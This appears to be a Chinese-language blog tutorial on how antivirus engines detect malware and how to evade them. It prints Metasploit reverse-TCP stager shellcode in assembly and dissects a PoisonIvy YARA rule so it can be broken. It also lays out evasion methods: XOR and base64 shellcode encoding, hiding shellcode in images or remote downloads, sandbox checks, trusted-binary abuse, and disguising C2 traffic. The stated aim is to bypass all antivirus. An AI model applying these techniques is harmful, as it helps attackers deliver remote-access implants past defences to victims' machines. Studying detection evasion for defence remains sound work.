免杀基础入门篇|浅析杀软原理及一些绕过思路

免杀基础入门篇|浅析杀软原理及一些绕过思路

0x00 前言

浅析杀软原理及一些绕过思路

杀软原理:

0x01 静态查杀:

1.特征码识别:

杀软有自己的病毒库,里面有很多样本,扫描时会抽取扫描对象的一段特征并与病毒库里作比较,如果匹配,那就会认为是病毒。抽取的代码要有适当长度,一方面维持特征代码的唯一性,另一方面又不要有太大的空间与时间的开销。如果一种病毒的特征代码增长一字节,要检测3000种病毒,增加的空间就是3000字节。在保持唯一性的前提下,尽量使特征代码长度短些,以减少空间与时间开销。

主要扫描的有:

hash、文件名、函数名、敏感字符串、敏感api等等

2.云查杀:

云查杀的不同点在于它的病毒库是放在服务器端的,而不是本地客户端,意思是只要联网病毒库就会同步更新,这种病毒库更加强大。

3.校验和法

根据正常文件的内容,计算其校验和,定期不定期的检查文件的校验是否与正常的校验和一样。其实本质还是特征码,万变不离其宗

4.启发式扫描:

但是面对未知的病毒,换个模样杀软就认不出了吗?所以安全厂商研究出了启发式算法

启发式则是将一类病毒总结后,归纳其特征,其后的演变都为一类病毒,这就是启发式算法。具体启发式算法可以由杀软来定,比如可以使用机器学习把家族病毒聚类,或简单的通过使用通用型yara规则,例如文件大小小于100kb,且没有图标则可以识别为病毒,以此达到查杀病毒。

eg:

这是msf的shellcode:

;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2003
; Architecture: x64
;-----------------------------------------------------------------------------;
[BITS 64]

; Input: RBP must be the address of 'api_call'.
; Output: RDI will be the socket for the connection to the server
; Clobbers: RAX, RCX, RDX, RDI, R8, R9, R10, R12, R13, R14, R15

reverse_tcp:
  ; setup the structures we need on the stack...
  mov r14, 'ws2_32'
  push r14               ; Push the bytes 'ws2_32',0,0 onto the stack.
  mov r14, rsp           ; save pointer to the "ws2_32" string for LoadLibraryA call.
  sub rsp, 408+8         ; alloc sizeof( struct WSAData ) bytes for the WSAData structure (+8 for alignment)
  mov r13, rsp           ; save pointer to the WSAData structure for WSAStartup call.
  mov r12, 0x0100007F5C110002        
  push r12               ; host 127.0.0.1, family AF_INET and port 4444
  mov r12, rsp           ; save pointer to sockaddr struct for connect call
  ; perform the call to LoadLibraryA...
  mov rcx, r14           ; set the param for the library to load
  mov r10d, 0x0726774C   ; hash( "kernel32.dll", "LoadLibraryA" )
  call rbp               ; LoadLibraryA( "ws2_32" )
  ; perform the call to WSAStartup...
  mov rdx, r13           ; second param is a pointer to this stuct
  push 0x0101            ;
  pop rcx                ; set the param for the version requested
  mov r10d, 0x006B8029   ; hash( "ws2_32.dll", "WSAStartup" )
  call rbp               ; WSAStartup( 0x0101, &WSAData );
  ; perform the call to WSASocketA...
  push rax               ; if we succeed, rax wil be zero, push zero for the flags param.
  push rax               ; push null for reserved parameter
  xor r9, r9             ; we do not specify a WSAPROTOCOL_INFO structure
  xor r8, r8             ; we do not specify a protocol
  inc rax                ;
  mov rdx, rax           ; push SOCK_STREAM
  inc rax                ;
  mov rcx, rax           ; push AF_INET
  mov r10d, 0xE0DF0FEA   ; hash( "ws2_32.dll", "WSASocketA" )
  call rbp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
  mov rdi, rax           ; save the socket for later
  ; perform the call to connect...
  push byte 16           ; length of the sockaddr struct
  pop r8                 ; pop off the third param
  mov rdx, r12           ; set second param to pointer to sockaddr struct
  mov rcx, rdi           ; the socket
  mov r10d, 0x6174A599   ; hash( "ws2_32.dll", "connect" )
  call rbp               ; connect( s, &sockaddr, 16 );
  ; restore RSP so we dont have any alignment issues with the next block...
  add rsp, ( (408+8) + (8*4) + (32*4) ) ; cleanup the stack allocations

可以看到调用了两个dll,ws2_32.dll(实现socket通信,建立攻击机与目标机器的连接),kernel32.dll(ring3层级别的dll,存放在C:\windows\system32文件夹中,它控制着系统的内存管理、数据的输入输出操作与中断处理,当Windows启动时,kernel32.dll就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域)

重点查杀

mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )

为什么?还不是因为它功能强大,是很多病毒爱好者的得力助手,所以被各大杀软盯的很死。

同样,cs中的两个特征

1.profile中的stage,我这里拿到的是apt的样本,可以看到是加密混淆后的

免杀基础入门篇|浅析杀软原理及一些绕过思路

2.导出函数 ReflectiveLoader也是在杀软的豪华套餐上的,它是用来导出反射注入的dll,可以修改这个导出函数的名称来进行绕过。

(程序运行时将exe、dll文件加载到内存并执行一些操作的过程,这个过程称为反射,它的优点是不落盘,直接载入目标内存中执行 ,dll放在server端,目标通过下载器直接加载到内存中执行)通常这种反射加载技术被很多APT组织、大型渗透框架、病毒作者使用比较广泛。

ps: 关于更多分析cobalt strike,大家可以去网上看各种魔改的文章。

yara规则:
meta:
        description = "PoisonIvy RAT Generic Rule"
        license = "https://creativecommons.org/licenses/by-nc/4.0/"
        author = "Florian Roth"
        date = "2015-05-14"
        hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd"
    strings:
        $k1 = "Tiger324{" fullword ascii

        $s2 = "WININET.dll" fullword ascii
        $s3 = "mscoree.dll" fullword wide
        $s4 = "WS2_32.dll" fullword
        $s5 = "Explorer.exe" fullword wide
        $s6 = "USER32.DLL"
        $s7 = "CONOUT$"
        $s8 = "login.asp"

        $h1 = "HTTP/1.0"
        $h2 = "POST"
        $h3 = "login.asp"
        $h4 = "check.asp"
        $h5 = "result.asp"
        $h6 = "upload.asp"
    condition:
        uint16(0) == 0x5a4d and filesize < 500KB and
            ( 
                $k1 or all of ($s*) or all of ($h*)
            )
}

简单分析下这段yara规则,标记了hash,最终的匹配规则是 文件大小在500kb以内 并且满足 $k1/all $s/all $h 中的任意一条,即被认定是病毒。这时候就可以根据破坏相应的规则,比如大小改为500kb+,不去调用相应的dll等来 bypass。

静态免杀方法:

针对静态查杀的原理,匹配对应的特征试别为病毒,那么我们让杀软试别不出这是病毒不就可以了。给出最简单的两种方式:

MYCCL查找特征码修改:

找到杀软查杀的特征码,修改,替换,编码等等在不影响程序运行的情况下,把特征码改的面目全非,删掉也可以。

这个工具算是很老的了,具体使用方法不再阐述。

免杀基础入门篇|浅析杀软原理及一些绕过思路
免杀基础入门篇|浅析杀软原理及一些绕过思路
免杀基础入门篇|浅析杀软原理及一些绕过思路
免杀基础入门篇|浅析杀软原理及一些绕过思路
免杀基础入门篇|浅析杀软原理及一些绕过思路
免杀基础入门篇|浅析杀软原理及一些绕过思路

这里是针对查杀的字符串进行拆分替换。

但是这种定位特征码的办法只能针对本地病毒库,面对云查杀会束手无策,云查杀会产生越来越多的特征码,这种情况可以改为内存加载,在内存里面做免杀,或者利用白加黑…….

对shellcode进行加密编码

一些编码方法

1、在特定位置添加垃圾字节
2、使用硬编码的单字节密钥对字节进行XOR或者加减法运算
3、将字节移位某些特定位置
4、交换连续字节

涉及到一些密码学的知识,非对称加密比对称加密效果要好,自己可以定义私钥,个人最喜欢异或,简单有效。

比如这里,先对shellcode进行一层异或加密生成decode_shellcode,然后再encode 执行。当然现在这么简单的异或已经不行了,可以多层异或,多个key,改的他妈都不认识。将shellcode写入内存的方法也是多种多样,下文中有提到,这里只讨论加密混淆。当然也可以使用其他加密方式,思路都一样的嘛

免杀基础入门篇|浅析杀软原理及一些绕过思路
免杀基础入门篇|浅析杀软原理及一些绕过思路

下面是GitHub的一个用 base64 混淆的项目,简单说就是将shellcode多层base64编码后,再加载执行,这里加载执行写入内存的方式也是最简单的加载方式。想要效果更好,可以用更强的加密方式,更隐蔽的将shellcode写入内存的方式。

可以看看效果

免杀基础入门篇|浅析杀软原理及一些绕过思路
免杀基础入门篇|浅析杀软原理及一些绕过思路
免杀基础入门篇|浅析杀软原理及一些绕过思路

小红伞没有识别出,所以给了警告。

附:现在很多杀软也会针对 sleep 函数进行识别,一般正常的文件执行不会sleep,这时候杀软不得注意一下?

0x02 动态查杀(主动防御)

动态查杀指的是 程序在运行的过程中执行了某些敏感操作,导致杀软查杀。

谈到动态查杀不得不提一个东西叫沙盒。

沙盒:也叫启发式查杀,通过模拟计算机的环境执行目标文件再观察特征行为

沙盒模拟的常见特征:

特征原因bypass
内存较小不影响计算机正常运行检测计算机内存是不是很小(判断是否是真实计算机)
时间较快沙盒内置的时间速度比现实世界要快,提高查杀速度,沙盒中的时间流逝很快c语言函数判断1s是否有1000ms/判断是否是utc时间
进程或文件不完整减少杀毒软件运行时对计算机的消耗判断操作系统进程的个数/调用不可能存在的文件
io设备缺失鼠标键盘等事件大部分沙盒都没有检测驱动 usb等/判断鼠标的移动速度等

其实主要就是找一台真实的计算机和沙盒的区别到底在哪,找到那些真实的计算机具有而模拟的计算机无法具有的特征,进行绕过即可,思路很简单,也很广,自己拓展会发现更多有意思的点。

下面说一下杀软监控动态查杀的点:

计算机相关

  1. 系统服务(指的是这些)
免杀基础入门篇|浅析杀软原理及一些绕过思路
  1. 注册表(键值) 修改注册表的行为一般都是敏感行为(高危添加用户、删除用户,没有十足把握bypass,还是算了)
  2. 组策略
  3. 防火墙
  4. 敏感程序(cmd powershell wmi psexec bitsadmin rundll 等)
  5. 各种 win32api这里强调一下,监控进程调用的api不止是api名字,还包括api的 调用顺序、调用源、参数等等 。 相应的bypass,用实现同样功能的api替换 重写对应的api 调用0环的api绕过3环杀软等等,肯定不止这些, 说起来很容易,但具体实现需要很深的底层功底,起码对Windows操作系统的底层实现,win32api等很熟悉,这就需要内功。
  6. 文件夹C:/windows/system32 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\tmp等敏感文件夹(cs、msf都会在tmp文件夹下生成一些东西)

绕过白加黑 算是一个很好的方法,指的是利用Windows系统的一些白文件去执行相应的敏感操作,就不会触发杀软警告,想一想,有哪个普通的程序去执行添加用户的操作呢?

说到底,白加黑解决的是 Windows里面 信任与权限的问题,Windows 都相信你,它一个杀软有什么办法,权限指的是你的权限是否比杀软的权限高,如果你在0环,杀软在3环,它也没有权限来管你,更不用说kill。

网络相关

1.流量特征: cobalt strike 的通信协议,是由 RSA 传输 AES 的密钥,AES的密钥加密后续通信,这也是c2的常规通信手法,但未经修改的profile 和证书,很容易被检测到。

2.内容特征:data字段是否存在命令相关的关键词加密特征(payload是否通讯加密,明文传输就会被查杀)

3.结构特征: 是否存在已知远控的通讯结构( cs 中 beacon 有 sleep)

4.IP : 是否被情报系统标记为恶意

绕过:

  • tcp分段:指的是数据包在传输过程中切分后以小段传输(效果也不错,但是网络连接不好很容易断掉)
  • 内容加密:针对传输的内容,比如那些执行命令的字符串等等,加密混淆,加密还是不要用简单的编码,你简单的base64编码一下,杀软、edr等还是可以检测到,最好用非对称加密
  • 使用合法证书 : 这个自己找渠道获得吧……

payload基本结构

分段传输:

eg:

msfvenom 的meterpreter/reverse_https模块

stager:

stage0:初始shellcode(通常称为stage0)会创建一个新的连接到攻击者的机器并将更大的有效载荷(stage1)读入内存。收到有效载荷后,stage0 会将控制权交给新的更大的有效载荷。stage0 只负责建立通信连接,不能够执行命令(getuid、getsystem等)

stage1(metsrv):stage0执行完后发送stage1到目标机器并写入内存,弹回meterpreter会话,我们在meterpreter里执行的命令,还有加载的模块(load kiwi等)都是stage1的功劳

这里 Sending stage (175174 bytes) 可以看到体积比较大,就是stage1

免杀基础入门篇|浅析杀软原理及一些绕过思路

很多分段加载骚思路也是基于stager来实现,初始投递的文件非常小,载入内存后,在内存中解密加载 加载器,然后加载器再解密加载shellcode。具体实现方法也多种多样,各种语言,c#,go等。

整段传输

一次性发送很大的stage

meterpreter_reverse_https

stageless:

建立通信连接+执行命令

免杀基础入门篇|浅析杀软原理及一些绕过思路

可以看到两种stage的体积差别

免杀基础入门篇|浅析杀软原理及一些绕过思路

显然这种效果不如stager的效果好。

再简单看一下stager的汇编,不需要全部看懂,只有这么多代码,找到关键的功能

try_connect

;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
;-----------------------------------------------------------------------------;
[BITS 32]

; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

reverse_tcp:
  push 0x00003233        ; Push the bytes 'ws2_32',0,0 onto the stack.
  push 0x5F327377        ; ...
  push esp               ; Push a pointer to the "ws2_32" string on the stack.
  push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
  call ebp               ; LoadLibraryA( "ws2_32" )

  mov eax, 0x0190        ; EAX = sizeof( struct WSAData )
  sub esp, eax           ; alloc some space for the WSAData structure
  push esp               ; push a pointer to this stuct
  push eax               ; push the wVersionRequested parameter
  push 0x006B8029        ; hash( "ws2_32.dll", "WSAStartup" )
  call ebp               ; WSAStartup( 0x0190, &WSAData );

  push eax               ; if we succeed, eax wil be zero, push zero for the flags param.
  push eax               ; push null for reserved parameter
  push eax               ; we do not specify a WSAPROTOCOL_INFO structure
  push eax               ; we do not specify a protocol
  inc eax                ;
  push eax               ; push SOCK_STREAM
  inc eax                ;
  push eax               ; push AF_INET
  push 0xE0DF0FEA        ; hash( "ws2_32.dll", "WSASocketA" )
  call ebp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
  xchg edi, eax          ; save the socket for later, don't care about the value of eax after this

set_address:
  push byte 0x05         ; retry counter
  push 0x0100007F        ; host 127.0.0.1
  push 0x5C110002        ; family AF_INET and port 4444
  mov esi, esp           ; save pointer to sockaddr struct

try_connect:
  push byte 16           ; length of the sockaddr struct
  push esi               ; pointer to the sockaddr struct
  push edi               ; the socket
  push 0x6174A599        ; hash( "ws2_32.dll", "connect" )
  call ebp               ; connect( s, &sockaddr, 16 );

  test eax,eax           ; non-zero means a failure
  jz short connected

handle_failure:
  dec dword [esi+8]
  jnz short try_connect

failure:
  push 0x56A2B5F0        ; hardcoded to exitprocess for size
  call ebp

connected:

因此可以看出stager仅仅是连接功能,而不能够进行其他操作。可以自己去GitHub找msf的模块来对比,文末也会放上链接。

​ 还要提一点:msf加载的各种命令 比如powershell kiwi这种,是各种反射注入的dll,反射注入到执行的进程上

免杀基础入门篇|浅析杀软原理及一些绕过思路

其中的msf中的进程迁移:是在无文件落地的情况下,将内存中的shellcode注入到其他进程。

关于无文件落地,比较复杂,我太菜了,等研究到再单独写一篇…

下面说一点免杀的方法和思路:

分离免杀

因为shellcode在程序里面很容易被查杀,像下面是最常用的加载shellcode的方式,内联汇编执行,函数指针执行,强制转换等等,当然很明显,这几种现在都是不免杀的。

要提一下内联汇编中的 _emit 0xff _emit 0xE0是硬编码执行,与 jmp eax /call eax的作用是一样的,网上有很多文章说是花指令,用来干扰杀软的,但在我实际测试中,删掉是无法加载shellcode的。

免杀基础入门篇|浅析杀软原理及一些绕过思路
免杀基础入门篇|浅析杀软原理及一些绕过思路

这里的分离免杀是用 msfvenom 生成一段raw格式的shellcode 放在 png 图片里,然后加载器 将shellcode写入内存中

免杀基础入门篇|浅析杀软原理及一些绕过思路
免杀基础入门篇|浅析杀软原理及一些绕过思路

经测试,可以简单的过掉火绒,360没有测试,会被小红伞杀。因为这里将shellcode写入内存的方式还是前面说的最简单的方式,换橙其他加载方式,应该也是可以过掉的。

分离免杀包括但不限于

shellcode从文本提取 
shellcode与加载器分离
远程加载shellcode(shellcode放在另一台主机上,走http协议下载)
管道运输
隐写在图片上,powershell加载

具体的其他分离免杀可以去网上找对应的实现,这里仅仅介绍并提供思路。

当然传统的这些函数早已被杀软加入豪华套餐

WinHttpOpen
WinHttpConnect
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpQueryDataAvailable
WinHttpReadData
WinHttpCloseHandle

但幸运的是,Windows 提供了许多不同的库,可用于下载数据,例如winInet、WinHTTP 和 Windows Sockets。通过切换到更加手动的基于套接字的实现 ,如果使用这些第三方库或使用系统自带的下载命令,被杀软查杀的概率会小很多。

其他免杀思路

远程线程注入远程加载管道传输白加黑父进程调用子进程

等等,还有其他骚思路……万变不离其宗

总结

做免杀,首先要原理烂熟于心,得知道为什么会被杀,杀的哪里,才有目的的去做,而不是啥都不懂,就去盲杀(在不清楚杀软规则好像也只能这样… 但是效率很低嘛)

前面也介绍了各种免杀的思路,可以自己去扩充,上面主要是基于c/cpp来实现,也可以用其他语言 powershell /c#/go/nim/python等来实现。方法还是很多的,但前提是要有一定的底层知识储备。

下面两张图刚开始看会觉得很空,但仔细研究会发现做免杀就是根据这个步骤来的,整个流程很清晰,只不过在实现的过程中需要大量的底层知识来支撑罢了。

希望可以给大家带来一点帮助,祝大家早日拳打火眼,脚踢卡巴斯基,bypass全球杀软~

免杀基础入门篇|浅析杀软原理及一些绕过思路
免杀基础入门篇|浅析杀软原理及一些绕过思路

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注